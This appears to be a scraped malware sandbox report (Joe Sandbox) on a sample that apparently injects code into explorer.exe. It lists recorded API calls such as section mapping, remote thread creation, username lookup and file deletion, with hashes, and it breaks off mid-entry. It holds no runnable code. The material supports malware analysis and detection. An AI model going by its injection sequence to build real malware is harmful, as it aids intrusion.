NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000000.00000002.2263997675.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vwaoMjcyAw.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: d3862df6149cc6d9473f3846e0a5cef4746480e6edce1058660ec2639c81cc0b
Instruction ID: bfc0b8c1e1aad88884ae744cc722ee3a04b4b25e2f03b0569bf5ee1b63965b96
Opcode Fuzzy Hash: d3862df6149cc6d9473f3846e0a5cef4746480e6edce1058660ec2639c81cc0b
Instruction Fuzzy Hash: 34512B75900205BBEB209F91CC49FAF7BB8FF85B00F14412AF912BA2E5D7759941CB25

Function 00401561 Relevance: 10.7, APIs: 7, Instructions: 175
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000000.00000002.2263997675.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vwaoMjcyAw.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: c037a065b71caf94a0fa6c09a6d83b4137dfe21335f97c9ee716951ac1d37583
Instruction ID: 412e9309e7daddaa9b19f32dddfbffbd79934f2f1d3bc440b9a7152e2b53a84f
Opcode Fuzzy Hash: c037a065b71caf94a0fa6c09a6d83b4137dfe21335f97c9ee716951ac1d37583
Instruction Fuzzy Hash: 235119B1900205BFEB209F91CC49FAF7BB8EF85B00F14412AF912BA2E5D7759941CB25

Function 0040156F Relevance: 10.7, APIs: 7, Instructions: 172
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000000.00000002.2263997675.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vwaoMjcyAw.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: b43ab6a5ae3b26584acf886c72f61fec6545de2c9739d40d58a61617a66ea401
Instruction ID: 5723072b253cbae10e330d7def6e8ce5ab34414c0c11206194204dab9df800f9
Opcode Fuzzy Hash: b43ab6a5ae3b26584acf886c72f61fec6545de2c9739d40d58a61617a66ea401
Instruction Fuzzy Hash: 6A5109B1900205BBEB209F91CC49FAF7BB8EF85B00F144129FA11BA2E5D6759945CB24

Function 00401583 Relevance: 10.7, APIs: 7, Instructions: 171
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000000.00000002.2263997675.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vwaoMjcyAw.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 1e91f4c09bcacef1392eeaa703420aa8b20b57299c6afd06cd755880f7f169b4
Instruction ID: be4f3395432beacb56dc40f225edc855b7308e08cbc6b66c5e1fe0de6445bc19
Opcode Fuzzy Hash: 1e91f4c09bcacef1392eeaa703420aa8b20b57299c6afd06cd755880f7f169b4
Instruction Fuzzy Hash: D6510BB1900205BBEB209F91CC49FAF7BB8EF85B00F14412AFA11BA2E5D7759945CB64

Function 00401587 Relevance: 10.7, APIs: 7, Instructions: 166
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000000.00000002.2263997675.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vwaoMjcyAw.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 17ba237f8dee9763ec0b09a09ce7a307427fbde3e710961389b3aebbe6aa507a
Instruction ID: c9324331886a871ff7b65cfc1a3adde32c11ca3f72b54674233341407885f4d3
Opcode Fuzzy Hash: 17ba237f8dee9763ec0b09a09ce7a307427fbde3e710961389b3aebbe6aa507a
Instruction Fuzzy Hash: 7E511A71900249BBEB209F91CC48FEF7BB8EF85B00F144169F911AA2E5D7759945CB24

Function 00401729 Relevance: 4.7, APIs: 3, Instructions: 179
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000000.00000002.2263997675.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vwaoMjcyAw.jbxd

Similarity

API ID: Section$View$Create
String ID:
API String ID: 33071139-0
Opcode ID: d7ffac209591ce09f7b22c4e86819d2404e8050f733b4d1493b8ea105d7330e7
Instruction ID: bb29a515743844fa426f6922f48e3936f90c9c278b9ffb8c9c9d974ad6050a99
Opcode Fuzzy Hash: d7ffac209591ce09f7b22c4e86819d2404e8050f733b4d1493b8ea105d7330e7
Instruction Fuzzy Hash: 69519272904104EBEB249A55CC44FAA77B5FF85700F24813BE842772F0D67C6942E65B

Function 00403005 Relevance: 3.2, APIs: 2, Instructions: 168
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlCreateUserThread.NTDLL ref: 00403139
NtTerminateProcess.NTDLL ref: 00403152

Memory Dump Source

Source File: 00000000.00000002.2263997675.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vwaoMjcyAw.jbxd

Similarity

API ID: CreateProcessTerminateThreadUser
String ID:
API String ID: 1921587553-0
Opcode ID: 8dd8c1b6c2a2e81b31e5df05537a0a765b57e58f23bcff5050bac5d1a8738f05
Instruction ID: 9349ae55c142a47270c9c73eabb89239111d3cd47c98212c67b606f4e0ccd907
Opcode Fuzzy Hash: 8dd8c1b6c2a2e81b31e5df05537a0a765b57e58f23bcff5050bac5d1a8738f05
Instruction Fuzzy Hash: C5412531218E088FD7A8EF6CA88576377D5F798311F6643AAE809D3389EA34DC5187C5

Function 02D095D9 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 02D09601
Module32First.KERNEL32(00000000,00000224), ref: 02D09621

Memory Dump Source

Source File: 00000000.00000002.2270182856.0000000002D02000.00000040.00000020.00020000.00000000.sdmp, Offset: 02D02000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d02000_vwaoMjcyAw.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 2621f8ee4875ddfb2f2830e9944a9894e2242617f7cb69cf105f32edb44c8235
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 89F096311007156BE7203BF5A8DCBEE76FCEF49B28F540528E642925D1DB70EC458A61

Function 02BB003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 02BB024D

Strings

kernel32.dll, xrefs: 02BB008F, 02BB0095
cess, xrefs: 02BB018D

Memory Dump Source

Source File: 00000000.00000002.2269300413.0000000002BB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2bb0000_vwaoMjcyAw.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: c90a2213fb2bd0054ee305e824e992234aa60f2696ebabc1bc8932e0190e7174
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 95527974A00229DFDB65CF68C984BADBBB1BF09304F1484D9E94DAB351DB70AA84CF14

Function 02BB0E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,02BB0223,?,?), ref: 02BB0E19
SetErrorMode.KERNELBASE(00000000,?,?,02BB0223,?,?), ref: 02BB0E1E

Memory Dump Source

Source File: 00000000.00000002.2269300413.0000000002BB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2bb0000_vwaoMjcyAw.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 43804a22a99cfa038d1b1c2ebaa3f3077fc4812c5441b61ad954bd67a4bff1f0
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 01D0123554512877D7013A94DC09BDE7B1CDF09B66F008451FB0DD9080C7B0954046E5

Function 0040193E Relevance: 1.3, APIs: 1, Instructions: 63
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388,0000006E), ref: 00401999

Part of subcall function 00401553: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
Part of subcall function 00401553: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644

Memory Dump Source

Source File: 00000000.00000002.2263997675.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vwaoMjcyAw.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 63c6d220c0b2465f65230560b632e8fee6ee77bde0997471010d6e0ffaa45abb
Instruction ID: 4db8ba0b08380255fc5aa34ea3e13561f838480f888933e927f1079a64c57490
Opcode Fuzzy Hash: 63c6d220c0b2465f65230560b632e8fee6ee77bde0997471010d6e0ffaa45abb
Instruction Fuzzy Hash: 9A11CEF120C208FBEB006A959D62E7A3268AB40714F304137BA43790F1D57E8923F76B

Function 0040194A Relevance: 1.3, APIs: 1, Instructions: 57
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388,0000006E), ref: 00401999

Part of subcall function 00401553: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
Part of subcall function 00401553: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644

Memory Dump Source

Source File: 00000000.00000002.2263997675.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vwaoMjcyAw.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 5da34bb6d812b8abf119b9d3fe0d5b8ad3457d6c21a2f33bdd5f198c88081420
Instruction ID: 0371ecd990254dd767a604aa567081474727263e4e3774a05daf7e54a603023c
Opcode Fuzzy Hash: 5da34bb6d812b8abf119b9d3fe0d5b8ad3457d6c21a2f33bdd5f198c88081420
Instruction Fuzzy Hash: A901A1B120C204EBDB009A95DD62E7A3364AB40314F30453BBA437A1F1C67D9913E72B

Function 0040195C Relevance: 1.3, APIs: 1, Instructions: 52
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388,0000006E), ref: 00401999

Part of subcall function 00401553: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
Part of subcall function 00401553: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644

Memory Dump Source

Source File: 00000000.00000002.2263997675.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vwaoMjcyAw.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 92877e8f189ce066243e493096c58f6ac8e61300460a3c45de21f975e55ffa31
Instruction ID: 3b2e7dc224df146109f963d95c0ead7a9e1b698bafe8296883a7ac19869aede1
Opcode Fuzzy Hash: 92877e8f189ce066243e493096c58f6ac8e61300460a3c45de21f975e55ffa31
Instruction Fuzzy Hash: BA0171B5208204EADB006AD5DD71E7A3269AB44314F304537BA43791F1D57D8912F72B

Function 00401973 Relevance: 1.3, APIs: 1, Instructions: 51
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388,0000006E), ref: 00401999

Part of subcall function 00401553: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
Part of subcall function 00401553: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644

Memory Dump Source

Source File: 00000000.00000002.2263997675.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vwaoMjcyAw.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 31aa609417ab5ed31c65507b96fd6a0431d30d29d70e2a4d28e260c8609d16a0
Instruction ID: 4b03b50232763afd30ab0c608f125a1a80ed78bb00471cf4ed55e3bed959d7b6
Opcode Fuzzy Hash: 31aa609417ab5ed31c65507b96fd6a0431d30d29d70e2a4d28e260c8609d16a0
Instruction Fuzzy Hash: F80184B5208204EBDB006AD5DD71EBA3269AB44354F304537BA43790F1C57D8912F72B

Function 00401964 Relevance: 1.3, APIs: 1, Instructions: 50sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388,0000006E), ref: 00401999

Part of subcall function 00401553: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
Part of subcall function 00401553: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644

Memory Dump Source

Source File: 00000000.00000002.2263997675.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vwaoMjcyAw.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 80a6c5373d62ebb69e6dd2ebfc7b7f41d0d957fd777d29198617fe32584c3506
Instruction ID: f592bab324d3cd5d6286c78059ef0a1e8702b22de7bd53a4ec4d5e19e7ef6e8c
Opcode Fuzzy Hash: 80a6c5373d62ebb69e6dd2ebfc7b7f41d0d957fd777d29198617fe32584c3506
Instruction Fuzzy Hash: 0D0184B5208204EBDB006AC5DD62EBA3265AB44314F204537FA43791F1C57D8912F72B

Function 02D09298 Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 02D092E9

Memory Dump Source

Source File: 00000000.00000002.2270182856.0000000002D02000.00000040.00000020.00020000.00000000.sdmp, Offset: 02D02000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d02000_vwaoMjcyAw.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: a60d0903171bb040df40a45acbfe08e2f279fbb6208a01b730564eeaa3839f7b
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 08112B79A00208EFDB01DF98C985E98BBF5EF08750F158094F9489B3A2D371EA50DF90

Function 00401987 Relevance: 1.3, APIs: 1, Instructions: 46sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388,0000006E), ref: 00401999

Part of subcall function 00401553: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
Part of subcall function 00401553: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644

Memory Dump Source

Source File: 00000000.00000002.2263997675.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vwaoMjcyAw.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: bcca46d5ef7268ad31bc33a501668355c47d000038c282039baec12a21f0baa8
Instruction ID: 68c2b1bb8267a16b47d2b790190fa602822f098e0b694be4ddc2e306b3be1968
Opcode Fuzzy Hash: bcca46d5ef7268ad31bc33a501668355c47d000038c282039baec12a21f0baa8
Instruction Fuzzy Hash: 2AF086B5208204FADB006BD59D61EBA3768AB44354F204137BA13790F1C57D8912F72B

Function 0040197A Relevance: 1.3, APIs: 1, Instructions: 45sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388,0000006E), ref: 00401999

Part of subcall function 00401553: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
Part of subcall function 00401553: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644

Memory Dump Source

Source File: 00000000.00000002.2263997675.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vwaoMjcyAw.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: e9f86eb3684af82b782eaa40f954778cddddd88fa9debd0879e22657c53ef6f6
Instruction ID: 49220a4dcaca44086484813bdb512237367292e15b320859d1a96440f4f24ef4
Opcode Fuzzy Hash: e9f86eb3684af82b782eaa40f954778cddddd88fa9debd0879e22657c53ef6f6
Instruction Fuzzy Hash: 7801A7B1208244FBDB016BD19D62EB93768AB05354F204537FA53790F2C67D8912E72B

Non-executed Functions

Function 02BB092B Relevance: 3.8, Strings: 3, Instructions: 90COMMON

Download Yara Rule

Strings

., xrefs: 02BB095F
l, xrefs: 02BB0966
GetProcAddress., xrefs: 02BB09DC, 02BB09DF, 02BB09E4

Memory Dump Source

Source File: 00000000.00000002.2269300413.0000000002BB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2bb0000_vwaoMjcyAw.jbxd

Yara matches

Similarity

API ID:
String ID: .$GetProcAddress.$l
API String ID: 0-2784972518
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: 3dbabdb5a771a9396e0fce050b8c209f72aaead305440d692354e42e68afd913
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: CC3168B6900609CFDB11DF99C880AEEBBF9FF08324F14448AD941A7250D7B1EA45CBA4

Function 02D08EB6 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2270182856.0000000002D02000.00000040.00000020.00020000.00000000.sdmp, Offset: 02D02000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d02000_vwaoMjcyAw.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 9ce49a4fe96509cbbb473ee0bad67b5a8315427a618f0db5f00b6ec1a2e5d8d5
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 79115E72340100AFDB54DF65DCC1FA677EAEB89364B1980A9ED04CB3A5D676EC42CB60

Function 02BB0D90 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2269300413.0000000002BB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2bb0000_vwaoMjcyAw.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction ID: 141ebb122daae2a63aa486174569186e2aa7f2c15bce359390d8fa0b01a2a6c7
Opcode Fuzzy Hash: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction Fuzzy Hash: 1701A276A106048FDF22EF24C805BFF33E5FF86216F4549E5D90A97281E7B4A9418B90

Function 004023E5 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2263997675.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vwaoMjcyAw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0f638128aba8f2e57abeaf16cd5152cf31c34a5a8aefa37a689e9950b3c5785
Instruction ID: d35cd02017a8908298582cacd0956aff43537afd2df8e264233619bb44fb754d
Opcode Fuzzy Hash: c0f638128aba8f2e57abeaf16cd5152cf31c34a5a8aefa37a689e9950b3c5785
Instruction Fuzzy Hash: 82C08C72D960008AE65BC6908A87644BB33F003830B341F2DC5018F126D272C2178220

Function 004026A0 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2263997675.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vwaoMjcyAw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43de6de374997940977aed32f8962cbc5b01e7d76103009d4fd772cc687ca080
Instruction ID: b8708e0fd601c17419c4bee628408aeaf70cc106fe2e9d70b960fe5b7e9fb35e
Opcode Fuzzy Hash: 43de6de374997940977aed32f8962cbc5b01e7d76103009d4fd772cc687ca080
Instruction Fuzzy Hash: 0DC02B7308020940C754CE701A0010CF2D09555208F31FD234005FF182D260F1C755C2

Analysis Process: explorer.exePID: 4004, Parent PID: 6940COMMON

Execution Graph

Execution Coverage:	42.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	8%
Total number of Nodes:	200
Total number of Limit Nodes:	18

Executed Functions

Function 087535B8 Relevance: 1.6, APIs: 1, Instructions: 72COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32 ref: 0875360C

Memory Dump Source

Source File: 00000002.00000002.3447329337.0000000008751000.00000020.80000000.00040000.00000000.sdmp, Offset: 08751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8751000_explorer.jbxd

Yara matches

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: fd6447a474a0c6c4e583e87f53b4852dd761150ae4ae7b776ee82d00e2f1a7d0
Instruction ID: ece3728c4093050e5d571a6c77323dfe9c6eaa60557db6bd54d602e0a60d787c
Opcode Fuzzy Hash: fd6447a474a0c6c4e583e87f53b4852dd761150ae4ae7b776ee82d00e2f1a7d0
Instruction Fuzzy Hash: 2E114C34718B4C4FCB90EF6C901836EB6D2FBDC306F400A6E984EC3358DAB889458781

Function 08752434 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 506
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNEL32 ref: 0875279B
DeleteFileW.KERNEL32 ref: 087527A8
SleepEx.KERNEL32 ref: 08752809
RtlExitUserThread.NTDLL ref: 08752811

Strings

|:|, xrefs: 08752554

Memory Dump Source

Source File: 00000002.00000002.3447329337.0000000008751000.00000020.80000000.00040000.00000000.sdmp, Offset: 08751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8751000_explorer.jbxd

Yara matches

Similarity

API ID: DeleteFile$ExitSleepThreadUser
String ID: |:|
API String ID: 2796381497-3736120136
Opcode ID: af6f0522112b9facc9e0093e301f45ffe89ead3b77408e0bdccb132fd8c44f9d
Instruction ID: a4d6641c5a0770538b28230b55e5ab02bace721750c55dfafe486b85c1773c0d
Opcode Fuzzy Hash: af6f0522112b9facc9e0093e301f45ffe89ead3b77408e0bdccb132fd8c44f9d
Instruction Fuzzy Hash: 23E1B730728F488BDB59AB28C4583AA76D1FB98312F14062ED89FD3395DF74E9028795

Function 02F22434 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 506
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNEL32 ref: 02F2279B
DeleteFileW.KERNEL32 ref: 02F227A8
SleepEx.KERNEL32 ref: 02F22809
RtlExitUserThread.NTDLL ref: 02F22811

Strings

|:|, xrefs: 02F22554

